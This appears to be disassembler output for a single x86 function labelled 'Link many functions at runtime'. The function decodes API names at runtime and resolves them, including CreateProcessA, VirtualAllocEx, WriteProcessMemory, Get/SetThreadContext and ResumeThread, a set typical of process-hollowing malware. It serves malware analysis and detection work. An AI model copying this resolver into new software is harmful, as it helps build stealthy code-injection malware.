Function at 0x445cf0
Capabilities:
Link many functions at runtime

Disassembly:
push ebp
mov ebp, esp
sub esp, 0x150
mov eax, dword [0x480208]
xor eax, ebp
mov dword [ebp - 4], eax
push str.kernel32.dll
lea eax, [ebp - 0x60]
push eax
call fcn.00448280
add esp, 8
mov ecx, eax
call fcn.0044a7c0
push eax
call dword [sym.imp.KERNEL32.dll_LoadLibraryA]
mov dword [ebp - 0x14c], eax
push str.user32.dll
lea ecx, [ebp - 0x10]
push ecx
call fcn.00448240
add esp, 8
mov ecx, eax
call fcn.0044a780
push eax
call dword [sym.imp.KERNEL32.dll_LoadLibraryA]
mov dword [ebp - 0x150], eax
push str.GetModuleFileNameA
lea edx, [ebp - 0x120]
push edx
call fcn.00448220
add esp, 8
mov ecx, eax
call fcn.0044a760
push eax
mov eax, dword [ebp - 0x14c]
push eax
call dword [sym.imp.KERNEL32.dll_GetProcAddress]
mov dword [0x481070], eax
push str.CreateProcessA
lea ecx, [ebp - 0xb0]
push ecx
call fcn.004482c0
add esp, 8
mov ecx, eax
call fcn.0044a800
push eax
mov edx, dword [ebp - 0x14c]
push edx
call dword [sym.imp.KERNEL32.dll_GetProcAddress]
mov dword [0x481074], eax
push str.VirtualAlloc
lea eax, [ebp - 0x70]
push eax
call fcn.00448280
add esp, 8
mov ecx, eax
call fcn.0044a7c0
push eax
mov ecx, dword [ebp - 0x14c]
push ecx
call dword [sym.imp.KERNEL32.dll_GetProcAddress]
mov dword [0x481078], eax
push str.GetThreadContext
lea edx, [ebp - 0xf8]
push edx
call fcn.00448200
add esp, 8
mov ecx, eax
call fcn.0044a740
push eax
mov eax, dword [ebp - 0x14c]
push eax
call dword [sym.imp.KERNEL32.dll_GetProcAddress]
mov dword [0x48107c], eax
push str.VirtualAllocEx
lea ecx, [ebp - 0xc0]
push ecx
call fcn.004482c0
add esp, 8
mov ecx, eax
call fcn.0044a800
push eax
mov edx, dword [ebp - 0x14c]
push edx
call dword [sym.imp.KERNEL32.dll_GetProcAddress]
mov dword [0x481080], eax
push str.ResumeThread
lea eax, [ebp - 0x80]
push eax
call fcn.00448280
add esp, 8
mov ecx, eax
call fcn.0044a7c0
push eax
mov ecx, dword [ebp - 0x14c]
push ecx
call dword [sym.imp.KERNEL32.dll_GetProcAddress]
mov dword [0x481084], eax
push 0x4715bc
lea edx, [ebp - 0x20]
push edx
call fcn.00448260
add esp, 8
mov ecx, eax
call fcn.0044a7a0
push eax
mov eax, dword [ebp - 0x14c]
push eax
call dword [sym.imp.KERNEL32.dll_GetProcAddress]
mov dword [0x481088], eax
push str.WriteProcessMemory
lea ecx, [ebp - 0x134]
push ecx
call fcn.00448220
add esp, 8
mov ecx, eax
call fcn.0044a760
push eax
mov edx, dword [ebp - 0x14c]
push edx
call dword [sym.imp.KERNEL32.dll_GetProcAddress]
mov dword [0x48108c], eax
push str.SetThreadContext
lea eax, [ebp - 0x10c]
push eax
call fcn.00448200
add esp, 8
mov ecx, eax
call fcn.0044a740
push eax
mov ecx, dword [ebp - 0x14c]
push ecx
call dword [sym.imp.KERNEL32.dll_GetProcAddress]
mov dword [0x481090], eax
push 0x4715f0
lea edx, [ebp - 0x30]
push edx
call fcn.00448260
add esp, 8
mov ecx, eax
call fcn.0044a7a0
push eax
mov eax, dword [ebp - 0x150]
push eax
call dword [sym.imp.KERNEL32.dll_GetProcAddress]
mov dword [0x481094], eax
push 0x4715fc
lea ecx, [ebp - 0xe4]
push ecx
call fcn.004481e0
add esp, 8
mov ecx, eax
call fcn.0044a720
push eax
mov edx, dword [ebp - 0x150]
push edx
call dword [sym.imp.KERNEL32.dll_GetProcAddress]
mov dword [0x481098], eax
push 0x47160c
lea eax, [ebp - 0x90]
push eax
call fcn.00448280
add esp, 8
mov ecx, eax
call fcn.0044a7c0
push eax
mov ecx, dword [ebp - 0x14c]
push ecx
call dword [sym.imp.KERNEL32.dll_GetProcAddress]
mov dword [0x48109c], eax
push str.VirtualProtect
lea edx, [ebp - 0xd0]
push edx
call fcn.004482c0
add esp, 8
mov ecx, eax
call fcn.0044a800
push eax
mov eax, dword [ebp - 0x14c]
push eax
call dword [sym.imp.KERNEL32.dll_GetProcAddress]
mov dword [0x4810a0], eax
push str.CreateFileA
lea ecx, [ebp - 0x40]
push ecx
call fcn.00448260
add esp, 8
mov ecx, eax
call fcn.0044a7a0
push eax
mov edx, dword [ebp - 0x14c]
push edx
call dword [sym.imp.KERNEL32.dll_GetProcAddress]
mov dword [0x4810a4], eax
push str.CreateFileMappingA
lea eax, [ebp - 0x148]
push eax
call fcn.00448220
add esp, 8
mov ecx, eax
call fcn.0044a760
push eax
mov ecx, dword [ebp - 0x14c]
push ecx
call dword [sym.imp.KERNEL32.dll_GetProcAddress]
mov dword [0x4810a8], eax
push str.MapViewOfFile
lea edx, [ebp - 0xa0]
push edx
call fcn.004482a0
add esp, 8
mov ecx, eax
call fcn.0044a7e0
push eax
mov eax, dword [ebp - 0x14c]
push eax
call dword [sym.imp.KERNEL32.dll_GetProcAddress]
mov dword [0x4810ac], eax
push 0x47165c
lea ecx, [ebp - 0x50]
push ecx
call fcn.00448260
add esp, 8
mov ecx, eax
call fcn.0044a7a0
push eax
mov edx, dword [ebp - 0x14c]
push edx
call dword [sym.imp.KERNEL32.dll_GetProcAddress]
mov dword [0x4810b0], eax
mov ecx, dword [ebp - 4]
xor ecx, ebp
call fcn.0044deb0
mov esp, ebp
pop ebp
ret